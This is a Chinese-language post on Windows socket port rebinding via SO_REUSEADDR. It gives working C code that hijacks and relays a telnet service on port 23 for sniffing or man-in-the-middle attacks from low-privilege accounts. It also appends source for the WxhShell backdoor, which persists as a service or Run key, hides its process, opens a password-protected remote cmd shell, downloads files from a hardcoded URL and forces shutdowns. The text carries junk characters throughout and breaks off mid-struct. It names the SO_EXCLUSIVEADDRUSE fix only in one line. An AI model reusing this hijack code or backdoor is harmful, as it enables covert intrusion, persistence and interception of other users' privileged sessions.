在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
^%-NPo< s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
kJ/+IGV^v Sq?,C&LsA saddr.sin_family = AF_INET;
EJO.'vQ 4;?1Kb# saddr.sin_addr.s_addr = htonl(INADDR_ANY);
?A|zRj{ <MRC%!. bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
G?>qd}]y0L K3Huu!Tr 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
[0K=I64
z 7}gA0fP9 这意味着什么?意味着可以进行如下的攻击:
!>\9t9 ;F|jG}M" 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
Q{O/xLf ;9K[~ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
IoQr+:_R yU> T8oFh 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
'T%IvJ#Xu O2C6V>Q; 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
ri,2clp Xe)Pg)J1 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
r~I.F!{ RvWFF^, . 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
4 uShM0qa VIetcs 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
"pYe-_"@ ,bxz]S1W #include
VcP:}a< B\ #include
7Ez}k}aR< #include
&Y{F?
c^ #include
x 96}#0' DWORD WINAPI ClientThread(LPVOID lpParam);
l+oDq'[q" int main()
b S,etd {
A5+q^t} WORD wVersionRequested;
;.\g-`jb DWORD ret;
r8sdzz% WSADATA wsaData;
q5!0\o: BOOL val;
/\~l1.6` SOCKADDR_IN saddr;
R;%^j=Q SOCKADDR_IN scaddr;
NOV.Bs{
yL int err;
EVWA\RO'\ SOCKET s;
{K+.A 9! SOCKET sc;
se!g4XEWD int caddsize;
YRXK@'[= HANDLE mt;
{798=pC<. DWORD tid;
AYt*'Zeg!s wVersionRequested = MAKEWORD( 2, 2 );
]Uu
aN8 err = WSAStartup( wVersionRequested, &wsaData );
b"^\)|*4; if ( err != 0 ) {
Xp#~N_S$ printf("error!WSAStartup failed!\n");
/GyEV Cc return -1;
o94PI*. }
Ohc^d"[7 saddr.sin_family = AF_INET;
hRk,vB] _<XgC\4O| //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
k/U>N|5 bea|?lK saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
L+7*NaPY* saddr.sin_port = htons(23);
l4zw]AYk+X if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
j+nv=p {
Mg+4huT printf("error!socket failed!\n");
ekrBNDs9 return -1;
_$!`VA% }
KLW&bJ$|j val = TRUE;
Jlz9E|*qV //SO_REUSEADDR选项就是可以实现端口重绑定的
zqY)dk if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
b1H7 {
}Iip+URG printf("error!setsockopt failed!\n");
.ByU return -1;
6vF/e#}, }
$Vsy%gA< //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
9?$RO[vo //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
x`#22"m //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
BK*z 4m moaodmt]x if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Wy8,<K{ {
4Mi~1iZj ret=GetLastError();
YlrB@mE0n$ printf("error!bind failed!\n");
]r!QmWw~V return -1;
6A.P6DW }
q P'[&h5Y listen(s,2);
Rh[Ib m56 while(1)
vn ``0!FX {
(m/aV caddsize = sizeof(scaddr);
4
]sCr+ //接受连接请求
&/iFnYVhy sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
>2u y if(sc!=INVALID_SOCKET)
g9`[Y~ {
YQ+^ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
loBtd%wY if(mt==NULL)
TH YVT%v {
@"w2R$o printf("Thread Creat Failed!\n");
v[smQO break;
VE*j*U
j }
_!%M% }
*Er? C; CloseHandle(mt);
]H>+m
9 }
h mds(lv7 closesocket(s);
yZ5x88 > WSACleanup();
}f]b't return 0;
M}u1qXa }
oE6|Zw DWORD WINAPI ClientThread(LPVOID lpParam)
Fav^^vf*1 {
}s(C^0x SOCKET ss = (SOCKET)lpParam;
8ZW?|-i SOCKET sc;
zWb-pF| unsigned char buf[4096];
F(;jM( SOCKADDR_IN saddr;
Fh^ox"3c long num;
nGns}\!7' DWORD val;
GyuV
% DWORD ret;
=&N$Vqn //如果是隐藏端口应用的话,可以在此处加一些判断
:6zC4Sr^ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Vha'e3o! saddr.sin_family = AF_INET;
'bC]M3P saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
8<{;=m8cQ saddr.sin_port = htons(23);
_F^$aZt?e if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
@UV{:]f~e {
BKX9SL] printf("error!socket failed!\n");
bQ"N
;d)e return -1;
K?[)E3 }
^&-a/'D$, val = 100;
(_U^ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
-,|ha>r {
[g`, AmR\! ret = GetLastError();
7=vYO|a/4 return -1;
W_%W%i| }
^4 8\>-Q\ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
e"~)Utk {
M7vj^mt? ret = GetLastError();
N ocFvF7\ return -1;
<ZVZ$ZW~D }
yhwy>12,K if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
P:^=m*d {
7
v~ro printf("error!socket connect failed!\n");
~#q;bS closesocket(sc);
*Q5x1!#z# closesocket(ss);
Z}+yI, return -1;
6"+8M 3M l }
Y1WHy*s? while(1)
!LiQ 1`V{ {
-;U3w.- //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
EX+,:l\^ //如果是嗅探内容的话,可以再此处进行内容分析和记录
n]v7V&mj\ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
{@45?L(' num = recv(ss,buf,4096,0);
=zOeb/ if(num>0)
'#<> "| send(sc,buf,num,0);
RG&6FRoq else if(num==0)
1}nm2h1 I break;
R*\~k%Z num = recv(sc,buf,4096,0);
7`dY 1.rq if(num>0)
ABZ06S/ send(ss,buf,num,0);
Hd374U<8]T else if(num==0)
BGzO!s*@j break;
hlC%HA }
]-a{IWVN closesocket(ss);
FT(iX`YQ closesocket(sc);
ZV(
w return 0 ;
H-2_j }
9n 6fXOC 3q?5OL^$ )88nMH- ==========================================================
vhpvO>Q 0bSz4<} 下边附上一个代码,,WXhSHELL
: u-.T.zZl )
$#(ZL^m ==========================================================
[ f34a ^K;hn,R= #include "stdafx.h"
Pin/qp&Fa8 "{ FoA3g| #include <stdio.h>
yd*3)6= #include <string.h>
{ *$9, #include <windows.h>
auL^%M|$R #include <winsock2.h>
|Euus5[ #include <winsvc.h>
Pr/]0<s #include <urlmon.h>
'evv,Q{87 ]"h=Qc #pragma comment (lib, "Ws2_32.lib")
)x[HuIRaa #pragma comment (lib, "urlmon.lib")
-TS?
fne) nvH|Ngg Q #define MAX_USER 100 // 最大客户端连接数
AerFgQiS #define BUF_SOCK 200 // sock buffer
0D~=SekQ9 #define KEY_BUFF 255 // 输入 buffer
ZF'HM@cfo 3Oiy)f@{TF #define REBOOT 0 // 重启
11{y}J #define SHUTDOWN 1 // 关机
!^L-T?y.2 8&."uEOOU #define DEF_PORT 5000 // 监听端口
+v-LL*fa M _ (2sq #define REG_LEN 16 // 注册表键长度
o%qkq K1 #define SVC_LEN 80 // NT服务名长度
Ia7D F' c{4R*|^ // 从dll定义API
U0IE1_R typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
,ux+Qz5( typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
]7vf#1i< typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
7=3O^=Q^Q typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
hy!6g n n| C|& // wxhshell配置信息
o_rtH|ntX5 struct WSCFG {
6p m~sD int ws_port; // 监听端口
j|(:I: ] char ws_passstr[REG_LEN]; // 口令
9^\hmpP@D int ws_autoins; // 安装标记, 1=yes 0=no
N"1QX6 char ws_regname[REG_LEN]; // 注册表键名
Q.ukY@L.' char ws_svcname[REG_LEN]; // 服务名
4U{m7[ char ws_svcdisp[SVC_LEN]; // 服务显示名
+*.1}r& char ws_svcdesc[SVC_LEN]; // 服务描述信息
0Cq!\nzz char ws_passmsg[SVC_LEN]; // 密码输入提示信息
d1bhJK int ws_downexe; // 下载执行标记, 1=yes 0=no
w+=Q6]FxJ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
[b;Uz|o char ws_filenam[SVC_LEN]; // 下载后保存的文件名
-l[jEJS} (}jL_E };
<+q$XL0 enumK\ // default Wxhshell configuration
|^iA6)Q struct WSCFG wscfg={DEF_PORT,
P^zy; Qs7 "xuhuanlingzhe",
A{(T'/~" 1,
41}/w3Z4 "Wxhshell",
DxfMqH[vs "Wxhshell",
ls @5^g "WxhShell Service",
ANb"oX c "Wrsky Windows CmdShell Service",
N9`97;.X "Please Input Your Password: ",
Q;20T 1,
+'%\Pr( "
http://www.wrsky.com/wxhshell.exe",
afUTAP@ "Wxhshell.exe"
1R^4C8*B };
@ef$b?wg RH~sbnZ)F // 消息定义模块
b{pg!/N4 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Hg whe=P char *msg_ws_prompt="\n\r? for help\n\r#>";
jb3.W char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Spo+@G char *msg_ws_ext="\n\rExit.";
L|J~9FM char *msg_ws_end="\n\rQuit.";
9wMEvX70 char *msg_ws_boot="\n\rReboot...";
a(|xw char *msg_ws_poff="\n\rShutdown...";
q,@+^aZ char *msg_ws_down="\n\rSave to ";
@\PpA9ebg%
qpTm char *msg_ws_err="\n\rErr!";
W_m!@T"@H char *msg_ws_ok="\n\rOK!";
NjP ]My :o$@F-$k char ExeFile[MAX_PATH];
t'aSF{% int nUser = 0;
v.b5iv 5 HANDLE handles[MAX_USER];
q^]tyU!w int OsIsNt;
ETm]o
^IgS SERVICE_STATUS serviceStatus;
u~}%1 SERVICE_STATUS_HANDLE hServiceStatusHandle;
f`J|>Vk Mj'lASI // 函数声明
+6376$dC int Install(void);
;
8E; int Uninstall(void);
9[sG1eP! int DownloadFile(char *sURL, SOCKET wsh);
S.hC$0vrj int Boot(int flag);
:t5uDKZ_j) void HideProc(void);
6w!e?B2/% int GetOsVer(void);
!qaDn.9 int Wxhshell(SOCKET wsl);
$}4K`Iu void TalkWithClient(void *cs);
L$}g3{ int CmdShell(SOCKET sock);
0I^Eo| int StartFromService(void);
pyF5S,c int StartWxhshell(LPSTR lpCmdLine);
h?A'H RyL~ HEpM4xe$ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
5qiI.) VOID WINAPI NTServiceHandler( DWORD fdwControl );
IfB/O.;Kz uS-3\$ // 数据结构和表定义
^K.*.| SERVICE_TABLE_ENTRY DispatchTable[] =
!o<ICHHH {
B@-"1m~la? {wscfg.ws_svcname, NTServiceMain},
lC2?sD$ {NULL, NULL}
] R<FKJ[ };
o\60n h>|u:]I> // 自我安装
L;Vq j]_ int Install(void)
L~
2q1 {
ngLJ@TP- char svExeFile[MAX_PATH];
gLx/w\l6 HKEY key;
!EM#m@kZ{ strcpy(svExeFile,ExeFile);
`*d{PJTv K%PxA#P} // 如果是win9x系统,修改注册表设为自启动
jE*Ff&]%m if(!OsIsNt) {
] 9@X?q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
avy=0Jmj RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
J&_3VKrN RegCloseKey(key);
6qDfcs if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
| lE-&a$xd RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
o$\tHzB9!A RegCloseKey(key);
t\|J&4!Y return 0;
X(b1/lzA }
R=Ymo.zs6 }
5v3RVaqZ }
/6jGt'^U else {
wibwyzo &N9IcNP // 如果是NT以上系统,安装为系统服务
9N1#V
K SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
[9HYO if (schSCManager!=0)
117c,yM0 {
\=Nm5: SC_HANDLE schService = CreateService
f)U6p (
p;e$kg1 schSCManager,
Q ]0r:i=
. wscfg.ws_svcname,
O a1'oYIHg wscfg.ws_svcdisp,
eK*W=c#@ SERVICE_ALL_ACCESS,
kXMP=j8 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
>fg4x+0 % SERVICE_AUTO_START,
tO`?{?W7 SERVICE_ERROR_NORMAL,
T*R{L svExeFile,
sxk*$jO[] NULL,
uR^. NULL,
yYk|YX(7U NULL,
:t%)5:@A NULL,
1I
b_Kmb- NULL
`{<JC{yc? );
qS|AdkNL if (schService!=0)
KD=bkZ& {
19) !$Hl CloseServiceHandle(schService);
M2L0c? CloseServiceHandle(schSCManager);
`yx56 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
/L$NE$D} " strcat(svExeFile,wscfg.ws_svcname);
r*]uR /Z$ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
8
#Fh> RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
vU{jda$$# RegCloseKey(key);
_6LH"o3 return 0;
d
"B5==0I }
Gn[ *?=Vy }
XR<G}x CloseServiceHandle(schSCManager);
hRLKb} }
POY=zUQ'/ }
BJ2Q 2WW d{3I.$ThH return 1;
);!dg\U }
`^zQ$au'u FTbtAlqh< // 自我卸载
4]]b1^vVj int Uninstall(void)
jP7w6sk
E {
wM0E%6
P HKEY key;
Wkww&Y Bqp&2zg)@ if(!OsIsNt) {
w0X$rl1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
gLV^Z6eE RegDeleteValue(key,wscfg.ws_regname);
7G2vYKC' RegCloseKey(key);
l)H9J]
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
h)P]gT0f/ RegDeleteValue(key,wscfg.ws_regname);
[m
%W:Ez RegCloseKey(key);
/XN*)m return 0;
p[b7E`7 }
pb6 Q?QG, }
D*qzNT@`LR }
8>m1UO Nr else {
;}f6Y['z o3fR3P%$ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
gn364U a if (schSCManager!=0)
1aVgwAI
{
o;%n,S8J|^ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
Ty.drM if (schService!=0)
_m" ^lo {
\ x:_*`fU if(DeleteService(schService)!=0) {
~yd%~| CloseServiceHandle(schService);
W;91H'`?H CloseServiceHandle(schSCManager);
ynx WQ%d(` return 0;
?$2q P`- }
I>\}}! CloseServiceHandle(schService);
V!\n3i?i }
/m;O;2" CloseServiceHandle(schSCManager);
#.~.UHt }
/O+e#z2f< }
[q
w b5[f 5 return 1;
HuK Aj }
BSjbnnW}" 8Er[M // 从指定url下载文件
7G?Ia%u int DownloadFile(char *sURL, SOCKET wsh)
y{:]sHyG {
PMD,8] | HRESULT hr;
X
E!2Q7Q9 char seps[]= "/";
dy'X<o^?W char *token;
P"2Q&M_/ char *file;
.&Y,D-h}7| char myURL[MAX_PATH];
zV6AuUIt char myFILE[MAX_PATH];
|3aS17yL> J6= w:c strcpy(myURL,sURL);
1k*n1t): token=strtok(myURL,seps);
MM=W9# while(token!=NULL)
q#.rYzl0 {
fp,1qzU[k file=token;
[f/vLLK token=strtok(NULL,seps);
.QNjeMu. }
}k4` ,>:XE@xcp GetCurrentDirectory(MAX_PATH,myFILE);
|dW2dQ strcat(myFILE, "\\");
buc,M@> strcat(myFILE, file);
dCW0^k send(wsh,myFILE,strlen(myFILE),0);
M}R@ K;%
send(wsh,"...",3,0);
*;>V2!N=U hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
;jp6 }zfI if(hr==S_OK)
R (t!xf return 0;
;b{pzIe= F else
{hlT`K return 1;
*7)S%r,? +#^sy> }
|^
2rtI )i},@T8[ // 系统电源模块
h9,wiT int Boot(int flag)
fQ2!sV {
|`N$>9qN HANDLE hToken;
Xi 1q]ps TOKEN_PRIVILEGES tkp;
4W[AXDS Wm];p qN if(OsIsNt) {
^yzo!`)fso OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
a*pXrp@ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
0+$hkd n tkp.PrivilegeCount = 1;
2&zn^\%" tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
& y#y>([~ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
>#Grf)@"6 if(flag==REBOOT) {
azz#@f1 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
5<'n return 0;
4SX3c:> }
MR^umLM88 else {
N]3-L`t if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
+!mNm?H[! return 0;
7I @9v=xV }
Fh*q]1F }
XHwZ+=v else {
HV#?6,U} if(flag==REBOOT) {
O>)n*OsS if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
G2U5[\ return 0;
(cPeee%Q }
Hsd|ka$x> else {
*l-Dh: if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
U*` return 0;
*K0j5dx }
*DPTkMQN }
mcAH1k e [Gh%nsH return 1;
B^Rw?:hN }
$1Q3Y'Q9 F&nMI:h7 // win9x进程隐藏模块
~Q.8 U3" void HideProc(void)
/j=DC9_ {
,}xpYq_/ f 4
Sw,A HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
1FXzAc(c! if ( hKernel != NULL )
XcJ'm{=
{
,6cbD pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
J
pCZq
# ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
KxgR5#:i" FreeLibrary(hKernel);
Ba\wq: }
%WJ\'@O\ pw(U< ) return;
`uaD.m$EJ }
cNuuzA '6dD^0dZ // 获取操作系统版本
xv(xweV+d int GetOsVer(void)
q;Ar&VrlNq {
;|;h9" OSVERSIONINFO winfo;
@xW"rX#7f winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
&cn%4Er GetVersionEx(&winfo);
w<I5@)i| if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
*`QdkVER return 1;
~L4*b*W else
Wq[=}qh~ return 0;
47(1V/r }
e&FX7dsyy a|]%/[G@ // 客户端句柄模块
mZ& \3m= int Wxhshell(SOCKET wsl)
@wAr[.lZ {
%$9)1"T0Y SOCKET wsh;
+r#=n7t struct sockaddr_in client;
5Xy^I^J DWORD myID;
K{r1&O>W dwf #~7h_ while(nUser<MAX_USER)
!4b;>y=m {
7-G'8t int nSize=sizeof(client);
709Uv5 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
t?#vb}_ if(wsh==INVALID_SOCKET) return 1;
Hc_hO #:Sy`G6!? handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
-G^t-I if(handles[nUser]==0)
L(!!7B_, closesocket(wsh);
NdXy%Q else
6S+K*/w nUser++;
oE|u;o }
X{9JSq WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
4E>/*F! C^8)IN=$ return 0;
U d=gdsL }
3 DO$^JJ. 1>*UbV<R;u // 关闭 socket
0[$Mo3c+' void CloseIt(SOCKET wsh)
rz%[o,s {
J*q=C%}. closesocket(wsh);
nV,{w4t+ nUser--;
R1b
) ExitThread(0);
tr9_bl&z }
'@}?NV0 -$]DO5fY // 客户端请求句柄
+(h6{e%) void TalkWithClient(void *cs)
I vl^,{4 {
LPm# 3U .xc/2:m9 SOCKET wsh=(SOCKET)cs;
1l`s1C char pwd[SVC_LEN];
J9$]]\52s. char cmd[KEY_BUFF];
~jRk10T(B char chr[1];
UV
*tO15i int i,j;
xjn8)C zN8V~M; while (nUser < MAX_USER) {
AN:RY/ %Wo <DlanczziF if(wscfg.ws_passstr) {
(k)gZD9~{? if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
pg& ]F //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
wor'=byh\ //ZeroMemory(pwd,KEY_BUFF);
>!v,`O1 i=0;
g#KToOP while(i<SVC_LEN) {
MIXrLh3 I?B,rT3h // 设置超时
p TV@nP fd_set FdRead;
"<n"A7e struct timeval TimeOut;
/x8C70W^ FD_ZERO(&FdRead);
:]z-Rz FD_SET(wsh,&FdRead);
zHum&V8=H TimeOut.tv_sec=8;
{;(g[H=q; TimeOut.tv_usec=0;
m 'H int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
z1@sEfk> if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
JjTzq2'% DRg~HT if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
h
C`p<jp/ pwd
=chr[0]; B|
0s4E
if(chr[0]==0xd || chr[0]==0xa) { j C1^>D
pwd=0; 4kY{X%9
break; e#eO`bT
} ^N}~U5
i++; <+1w'-
} ZD] '$
q$2taG}
// 如果是非法用户,关闭 socket *,*:6^t
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -Fw4;&>
} bHo?Rw!.
RKJWLofX&
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &= yqWW?
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eiSO7cGy
d8q$&(]<
while(1) { fjZveH0
zvs 2j"lb
ZeroMemory(cmd,KEY_BUFF); wb
Tg
@LMV ?
// 自动支持客户端 telnet标准 !=Vh2UbC3
j=0; 9(evHR7
while(j<KEY_BUFF) { VA
r?teY
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "YvBb:Z>
cmd[j]=chr[0]; GC#95
if(chr[0]==0xa || chr[0]==0xd) { S0QU@e
cmd[j]=0; &I'F-F;
break; xfV2/A#h
} Yw1q2jT
j++; Bma|!p{
} 4hr+GO@o(
g8*|"{
// 下载文件 ]~<T` )Hi
if(strstr(cmd,"http://")) { 5xV/&N
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~~E=E;9
if(DownloadFile(cmd,wsh)) 8; N}d)*O
send(wsh,msg_ws_err,strlen(msg_ws_err),0); owVUL~
else ] j?Fk$C
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V@xnz)^t
} {$eZF_}Y^
else { @5@{Es1u
T-cVM>u\D
switch(cmd[0]) { GKDG5u;
op{(mn
// 帮助 0QSi\: 1f
case '?': { {1&,6kJF&9
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &CsBG?@Z|
break; R =c
} #^[N4uV
// 安装 +fR`@HI
case 'i': { Xwq2;Bq
if(Install()) Q-%=ZW Z
send(wsh,msg_ws_err,strlen(msg_ws_err),0); tZ2iSc
else 30v1VLR_)
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2&f=4b`Z
break; WW/m
/+
} 2/gj@>dt
// 卸载 T`DlOi]Z_
case 'r': { rca"q[,
if(Uninstall()) !Yi<h/:
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Iur} ZAz
else zi 14]FWo
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uUB%I 8
break; 83(P_Y:
} t`3T_t Y
// 显示 wxhshell 所在路径 qO'5*d;!d
case 'p': { ~$obcW1
char svExeFile[MAX_PATH]; q&S.C9W
strcpy(svExeFile,"\n\r"); Mj;'vm7#'
strcat(svExeFile,ExeFile); G7{:d
send(wsh,svExeFile,strlen(svExeFile),0); ?S7:KnU>K
break; ;rdLYmmx^
} ]lG\t'R
// 重启 &otgN<H9
case 'b': { bL[W.O0
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); W8rn8Rh
if(Boot(REBOOT)) *==nOO9G
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'V{k$}P2
else { cuk}VZ
closesocket(wsh); AUpC HG7
ExitThread(0); At|tk
} ~ ?_Z!eS
break; kpUU'7Q
} a2FIFWvW
// 关机 3"%44'
case 'd': { xeh|u"5
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); TzXl ?N
if(Boot(SHUTDOWN)) v wD(J.;
send(wsh,msg_ws_err,strlen(msg_ws_err),0); DKCy h`
else { h--!pE+
closesocket(wsh); R;ug+N
ExitThread(0); IbQ~f+y&2
} "Y0[rSz,UW
break; ' .<"jZ
} m$: a|'mS
// 获取shell ~q>ilnL"h
case 's': { 73`UTXvWU
CmdShell(wsh); n-.k&B{a
closesocket(wsh); d)sl)qt}0
ExitThread(0); ;VBfzFH
break; a5&j=3)|
} g>oLc6T
// 退出 =h!m/f^x
case 'x': { oOz6Er[KO
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =Z$6+^L
CloseIt(wsh); >D aS*r
break; 2p ,6=8^v
} [: j_Y3-9
// 离开 /_(Dq8^g@
case 'q': { '>$A7
send(wsh,msg_ws_end,strlen(msg_ws_end),0); y70gNPuTOD
closesocket(wsh); K;lC#
WSACleanup(); m%3Kq%?O
exit(1); 6w,xb&S
break; ITiw) M
} t,6=EK*3T
} 0w]?yqnE
} B!anY}/U
n|6yz[N
// 提示信息 K.7gd1I
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `9gx-')]\
} jm"xf7
} pn|{P<b\
"de:plMofy
return; HOG7|| &y
} jL1UPN
eu;^h3u;b
// shell模块句柄 Q4*cL5j
int CmdShell(SOCKET sock) G7?EaLsfQ
{ ~K`blW47
STARTUPINFO si; kA0^~
ZeroMemory(&si,sizeof(si)); *PPFk.#x
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; g!uhy}
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; C5z4%,`f
PROCESS_INFORMATION ProcessInfo; Af~AE2b3"
char cmdline[]="cmd"; na)_8r~
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); g9JtWgu
return 0; +L6$Xm5DAv
} tA.C"
KhvCkQMI@
// 自身启动模式 k6\c^%x
int StartFromService(void) #s%$kYp 1
{ N1rrKyL!$
typedef struct V96BtVsB
{ J/Li{xp)Lg
DWORD ExitStatus; ly2R8$Y`y`
DWORD PebBaseAddress; Q@R8qc=*
